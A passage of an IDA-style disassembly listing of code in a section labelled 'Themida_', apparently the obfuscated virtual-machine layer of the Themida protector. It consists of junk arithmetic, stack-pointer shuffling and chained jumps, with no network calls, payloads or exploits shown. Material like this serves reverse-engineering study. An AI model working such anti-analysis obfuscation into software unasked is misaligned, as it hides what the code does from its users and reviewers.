; START OF FUNCTION CHUNK FOR sub_570FB7
loc_56F507: ; CODE XREF: sub_570FB7+282j
shl eax, 5
jmp loc_56DB7E
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56F50F: ; CODE XREF: sub_561027+B18Dj
sub ebp, 40300041h
pop esi
push 7F0h
jmp loc_56A647
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56F520: ; CODE XREF: sub_5713A7-2208j
mov [esp+8+var_8], ebx
jmp loc_56CC2D
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C4FF
loc_56F528: ; CODE XREF: sub_56C4FF-3C35j
pop ebp
add eax, 4
sub esp, 4
mov [esp+8+var_8], eax
push [esp+8+var_4]
mov eax, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
add esp, 4
jmp loc_570FD1
; END OF FUNCTION CHUNK FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56F54D: ; CODE XREF: sub_574FC9+35Aj
pop edi
jmp loc_572993
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56489B
loc_56F553: ; CODE XREF: sub_56489B+10j
mov al, cl
jmp loc_5622F9
; END OF FUNCTION CHUNK FOR sub_56489B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56F55A: ; CODE XREF: sub_56AEF2-8D67j
add eax, ecx
add eax, 4194F79h
jmp loc_5751EA
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_56F566: ; CODE XREF: sub_570C6A+1Aj
pop esp
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_56692C
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56F573: ; CODE XREF: sub_564D26-1B00j
or ebp, 248A0E40h
add ebp, 0F7DAEC4Ch
mov ecx, ebp
mov ebp, [esp+20h+var_20]
add esp, 4
sub edx, ecx
mov ecx, [esp+1Ch+var_1C]
jmp loc_56D6ED
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_56F591: ; CODE XREF: sub_569AB3+1C67j
xor ecx, 0A9F8BD1Eh
jmp loc_5639A2
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_56F59C: ; CODE XREF: sub_566AF9+10j
mov edx, 6C0E1A15h
jmp loc_5695B8
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56F5A6: ; CODE XREF: sub_568764-5EE1j
push dword ptr [esp+0]
jmp loc_563931
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56F5AE: ; CODE XREF: sub_570732+305j
pop [esp+14h+var_14]
pop esp
loc_56F5B2: ; CODE XREF: sub_57377E-ACB6j
push 2C2Eh
mov [esp+10h+var_10], ebx
sub esp, 4
mov [esp+14h+var_14], ebp
push 31DEh
mov [esp+18h+var_18], ebx
push 7F0D5BEEh
pop ebx
and ebx, 65D627D3h
push ecx
jmp loc_563B9D
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56F5DD: ; CODE XREF: sub_574CDD-D02Bj
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
push [esp-8+arg_4]
mov eax, [esp-4+arg_0]
add esp, 4
push 1B8h
mov [esp-4+arg_0], ecx
mov ecx, esp
push ebx
jmp loc_56DE0B
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_56F5FF: ; CODE XREF: sub_568646+1654j
add ecx, 4
add ecx, 4
xchg ecx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
sub esp, 4
mov [esp+0], eax
jmp loc_561DF0
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_56F61F: ; CODE XREF: sub_564CDA+C402j
mov ebp, 0C12CE63Ah
jmp loc_56EC3F
; END OF FUNCTION CHUNK FOR sub_564CDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56F629: ; CODE XREF: sub_56B06D-2216j
push [esp+18h+var_18]
jmp loc_5619BA
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
loc_56F631: ; CODE XREF: Themida_:00563287j
pop eax
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_56F649: ; CODE XREF: sub_565B6E+C3FCj
sub eax, 78924C64h
pop ebx
add eax, edi
sub eax, 1AB57B37h
jmp loc_56C771
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D72
loc_56F65B: ; CODE XREF: sub_567D72-6E0Dj
push edx
mov edx, 280A6CC3h
neg edx
or edx, 38866E65h
not edx
add edx, 0FFF7FF82h
sub esi, edx
pop edx
push esi
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], ecx
push [esp-4+arg_4]
pop ecx
pop [esp-4+arg_0]
pop esp
not bh
xor [esp-0Ch+arg_8], bh
xor bh, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], bh
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_567D72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_56F69A: ; CODE XREF: sub_5638E4+CDCCj
mov eax, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
add edi, eax
pop eax
push edi
push [esp+8+var_4]
mov edi, [esp+0Ch+var_C]
jmp loc_56521C
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1B8
loc_56F6B2: ; CODE XREF: sub_56E1B8-9CABj
mov esp, [esp+0]
bts [esp+0], ax
pushf
jmp loc_565FCB
; END OF FUNCTION CHUNK FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_56F6C0: ; CODE XREF: sub_563DCB+7106j
add esp, 4
add eax, 4
jmp loc_5742ED
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5729F9
loc_56F6CD: ; CODE XREF: sub_5729F9+1j
xor al, bl
push dx
jmp loc_5634E9
; END OF FUNCTION CHUNK FOR sub_5729F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56F6D6: ; CODE XREF: sub_57354D-10E35j
sub ebp, eax
add ebp, 43E275E8h
pop eax
shl ebp, 2
push edx
push 78185B51h
pop edx
shl edx, 8
neg edx
sub edx, 79F0B81h
shl edx, 1
push esi
mov esi, 63030173h
sub esi, 556B1525h
inc esi
jmp loc_566BA5
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56F708: ; CODE XREF: sub_572141-FCAEj
and eax, 1B6F3F27h
jmp loc_563356
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56F712: ; CODE XREF: sub_569193+7AAAj
push esi
jmp loc_56E6D3
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_56F718: ; CODE XREF: sub_56B577-637Aj
pop esp
add ebp, 2
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
btr [esp-4+arg_0], ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56F734: ; CODE XREF: sub_56CD13-C974j
pop edx
pop ebp
add eax, 0BBB79DFh
add eax, ecx
push ecx
mov ecx, 29F43A2h
xor ecx, 9243A7Dh
sub eax, ecx
pop ecx
push [esp+0Ch+var_C]
mov ecx, [esp+10h+var_10]
add esp, 4
add esp, 4
push edx
jmp loc_56765E
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56F761: ; CODE XREF: sub_56E126-8240j
inc ecx
shr ecx, 5
shr ecx, 3
jmp loc_563744
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_56F76D: ; CODE XREF: sub_5690E8+9B6j
push edx
jmp loc_570240
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56F773: ; CODE XREF: sub_5605BC+E666j
mov eax, 23356285h
and eax, 1E9027B9h
jmp sub_5738F4
; END OF FUNCTION CHUNK FOR sub_5605BC
; =============== S U B R O U T I N E =======================================
sub_56F782 proc near ; DATA XREF: Themida_:0055FD0Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561D33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005643BF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00564C26 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00566A96 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056727C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005689C2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005697DC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056ACAB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B183 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056CFAE SIZE 0000002C BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
push [esp+8+var_8]
jmp loc_5689C2
sub_56F782 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_56F790: ; CODE XREF: sub_56C38F-56E8j
mov [esp+4+var_4], eax
mov eax, 32144BDh
add eax, 53F178DDh
sub eax, 29FD0553h
shr eax, 8
dec eax
jmp loc_568F6A
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56F7AB: ; CODE XREF: sub_5685B2-36F9j
push dword ptr [esp+0]
jmp loc_5704DF
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_56F7B3: ; CODE XREF: sub_56D69D+163Aj
sub eax, ecx
add eax, 2BDB4967h
pop ecx
push edx
mov edx, 6AF031C2h
and edx, 187E3543h
jmp loc_565875
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564686
loc_56F7CC: ; CODE XREF: sub_564686+E08j
mov [esp+0], esi
jmp loc_56A2CB
; END OF FUNCTION CHUNK FOR sub_564686
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5729F9
loc_56F7D4: ; CODE XREF: sub_5729F9-F505j
mov al, 5Dh
and al, 0Ch
sub al, 71h
shr al, 2
xor al, 32h
xor al, 4Eh
mov bh, al
pop eax
push ebx
not byte ptr [esp+0Ah+var_C+3]
pop ebx
shr bh, 5
jmp loc_5608EB
; END OF FUNCTION CHUNK FOR sub_5729F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570F82
loc_56F7F2: ; CODE XREF: sub_570F82+6j
push esi
push 19C82140h
pop esi
jmp sub_563388
; END OF FUNCTION CHUNK FOR sub_570F82
; ---------------------------------------------------------------------------
loc_56F7FE: ; CODE XREF: Themida_:00571A4Bj
push dword ptr [esp]
jmp loc_56AD4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_56F806: ; CODE XREF: sub_567D31-2F00j
add esp, 4
and eax, ecx
push [esp-8+arg_4]
jmp loc_560562
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56F816: ; CODE XREF: sub_5734A7-797Bj
add esi, eax
push ebp
mov ebp, 48816C72h
jmp loc_565554
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56F823: ; CODE XREF: sub_56616D+4DA2j
push 7AB4h
mov [esp-8+arg_4], edx
mov edx, 49986FD6h
mov ebx, edx
jmp loc_56A223
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56F837: ; CODE XREF: sub_565632+9E84j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
pop esp
add edi, 4
jmp loc_56739E
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56F851: ; CODE XREF: sub_563A7F+A341j
not ecx
jmp loc_574FBC
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_56F858: ; CODE XREF: sub_56DA43+4751j
push [esp+4+var_4]
jmp loc_5608F6
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56F860: ; CODE XREF: sub_574F16-E6D4j
pop ecx
xchg dh, al
not dh
xchg dh, al
sub esp, 4
mov [esp+0Eh+var_E], ecx
push ebx
mov bl, al
jmp loc_56B6A5
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56F878: ; CODE XREF: sub_571088-10098j
mov edi, 83E7F42h
jmp loc_569800
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
loc_56F882: ; CODE XREF: Themida_:0056FCB0j
add esp, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
push eax
jmp loc_561AC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_56F893: ; CODE XREF: sub_5687A3-180Bj
pop eax
push 4B64h
mov [esp+0Ch+var_C], ebx
mov ebx, 262826CAh
not ebx
shl ebx, 3
jmp loc_574F1E
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56F8AB: ; CODE XREF: sub_572141-3Bj
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_56C229
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_56F8BC: ; CODE XREF: sub_567B29-404Fj
sub ebx, 262772EAh
add ebx, eax
jmp loc_5736C7
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_56F8C9: ; CODE XREF: sub_572669-1087Ej
add edx, ebx
mov ebx, [esp+0]
jmp loc_57000B
; END OF FUNCTION CHUNK FOR sub_572669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_56F8D3: ; CODE XREF: sub_56C83E-376Ej
push edi
jmp loc_57301E
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_56F8D9: ; CODE XREF: sub_5738F4-C35j
add ebx, edi
jmp loc_570D80
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_56F8E0: ; CODE XREF: sub_572E16-780j
add ecx, 22232A04h
sub edi, 47204D44h
add edi, ecx
add edi, 47204D44h
pop ecx
add edi, 4
xor edi, [esp+8+var_8]
xor [esp+8+var_8], edi
jmp loc_567B1A
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56F903: ; CODE XREF: sub_56FA15+20F3j
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
byte_56F90D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FCBCo
dd 673D6824h, 14890000h, 0AF02E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_56F91E: ; CODE XREF: sub_560056+4903j
mov edi, 4
jmp loc_561E44
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56F928: ; CODE XREF: sub_564D26+7073j
shl ebx, 6
sub ebx, 0F0950A44h
sub esi, ebx
pop ebx
push edi
mov edi, 2D4E773Eh
jmp loc_561D50
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_56F93F: ; CODE XREF: sub_5638E4+816Dj
add edi, 3B7B7B97h
mov edx, [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
push eax
push edi
sub esp, 4
jmp loc_56D973
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_56F968: ; CODE XREF: sub_56FD38-1FBAj
sub edi, 4
xor edi, [esp+8+var_8]
xor [esp+8+var_8], edi
xor edi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
mov ebx, 5FC0204h
jmp loc_56AD5D
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56F982: ; CODE XREF: sub_568E5C-8A1Bj
push edx
mov edx, 57AC6889h
not edx
dec edx
sub edx, 9896A5Ch
sub edx, 6AD9660Eh
not edx
sub edx, 0A5F5BCBAh
mov ecx, edx
pop edx
xor ecx, ebp
jmp loc_565D4E
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570F0F
loc_56F9A9: ; CODE XREF: sub_570F0F-10B07j
mov esp, [esp+0]
mov [esp+0], ax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_570F0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56F9B5: ; CODE XREF: sub_56616D+3F83j
not edi
sub edi, 0FFFFD7D3h
add esi, edi
jmp loc_56394B
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
loc_56F9C4: ; CODE XREF: Themida_:0057201Ej
add ebx, edi
push eax
push 376552A4h
jmp loc_57379C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56F9D1: ; CODE XREF: sub_574304-10F07j
add edi, ecx
sub edi, 5B97AE9h
pop ecx
sub edi, 1
sub edi, 1
xchg edx, edi
not edx
xchg edx, edi
shr edi, 3
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 4D16729Eh
shr eax, 5
push ebp
mov ebp, 0C42129Dh
xor eax, ebp
jmp loc_56690B
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_56FA07: ; CODE XREF: sub_574000-3C8Dj
add eax, 2
xor eax, [esp+8+var_8]
xor [esp+8+var_8], eax
jmp loc_571BD8
; END OF FUNCTION CHUNK FOR sub_574000
; =============== S U B R O U T I N E =======================================
sub_56FA15 proc near ; CODE XREF: sub_56D464-D4C2j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560374 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00562291 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056232F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563C7F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056502B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565AF6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566196 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005662F0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566ACB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056754C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567AAD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005689BB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005689F2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569904 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A4B5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A9EE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B2C4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B72F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B9D0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C0D6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C0ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C88B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D170 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 0056E513 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056E63B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E826 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F4E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F903 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005718F9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00571B05 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571CFB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005725E9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057287D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005747A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005748B2 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00574E4D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00575350 SIZE 0000000B BYTES
push ebx
mov bl, 1Dh
sub bl, 4
shl bl, 6
jmp loc_56E63B
sub_56FA15 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56FA23: ; CODE XREF: sub_5713A7-C632j
mov ebx, eax
pop eax
push ecx
mov ecx, 59C40C67h
xor ecx, 7ADC16EEh
or ecx, 72EE77B9h
xchg ebx, ecx
add ebx, 0FFFFFFFFh
xchg ebx, ecx
jmp loc_572065
; END OF FUNCTION CHUNK FOR sub_5713A7
; =============== S U B R O U T I N E =======================================
sub_56FA44 proc near ; DATA XREF: Themida_:0055FF28o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 0056515C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056957C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B5B9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C28C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056CD88 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F348 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FE9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FED3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005705BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057294B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572D3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057344A SIZE 0000000F BYTES
mov cx, [esp+0]
push 74EAh
mov [esp+4+var_4], ecx
push esp
pop ecx
push 51E8h
jmp loc_56C28C
sub_56FA44 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_56FA5C: ; CODE XREF: sub_572DD7-16F4j
add esi, 4
xor esi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], esi
xor esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push esi
mov esi, esp
jmp loc_561C2C
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_56FA76: ; CODE XREF: sub_56A7FB-8DC0j
xor bl, al
jmp loc_570719
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_56FA7D: ; CODE XREF: sub_5753A5-ABD9j
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
mov [esp+0], edx
push eax
mov eax, 2
mov edx, eax
mov eax, [esp+4+var_4]
jmp loc_563612
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564746
loc_56FAA0: ; CODE XREF: sub_564746+6C01j
or ah, 0FCh
xor ah, 0F1h
sub cl, ah
pop eax
jmp sub_56626B
; END OF FUNCTION CHUNK FOR sub_564746
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_56FAAE: ; CODE XREF: sub_572669-A122j
mov esp, [esp+0]
mov [esp+0], ebx
jmp loc_561DDC
; END OF FUNCTION CHUNK FOR sub_572669
; ---------------------------------------------------------------------------
loc_56FAB9: ; CODE XREF: Themida_:005711CAj
mov [esp], eax
sub esp, 4
mov [esp], esp
push ebp
mov ebp, 5A683AF7h
dec ebp
jmp loc_5615F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56FAD1: ; CODE XREF: sub_57549C-2351j
mov esi, 35F36CE1h
jmp loc_571FA6
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562BA0
loc_56FADB: ; CODE XREF: sub_562BA0+Bj
mov eax, esp
jmp loc_56C33E
; END OF FUNCTION CHUNK FOR sub_562BA0
; =============== S U B R O U T I N E =======================================
sub_56FAE2 proc near ; CODE XREF: sub_564B0B+6490j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00565991 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056907A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AA71 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572412 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057430C SIZE 00000009 BYTES
push ebx
mov ebx, edx
mov ebp, ebx
pop ebx
pop edx
sub ebp, ecx
pop ecx
sub esp, 4
mov [esp-0Ah+arg_4+2], edx
jmp loc_565991
sub_56FAE2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56FAF7: ; CODE XREF: sub_561541+6AF0j
push esi
jmp loc_568C62
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56FAFD: ; CODE XREF: sub_564D26-4BF4j
add ecx, 1A65219Ch
pop ebx
sub esp, 4
jmp loc_564A49
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56FB0C: ; CODE XREF: sub_56CC46+4DC2j
sub edx, 5A641A0h
push dword ptr [esp+0]
pop ebp
jmp sub_56421E
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_56FB1B: ; CODE XREF: sub_561F05+D58Ej
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+8+var_8]
pop esp
push edx
mov edx, 2189308Ch
jmp loc_5640D6
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561979
loc_56FB34: ; CODE XREF: sub_561979+1EE8j
sub esi, 4
xchg esi, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], ecx
jmp sub_569AB3
; END OF FUNCTION CHUNK FOR sub_561979
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573A8F
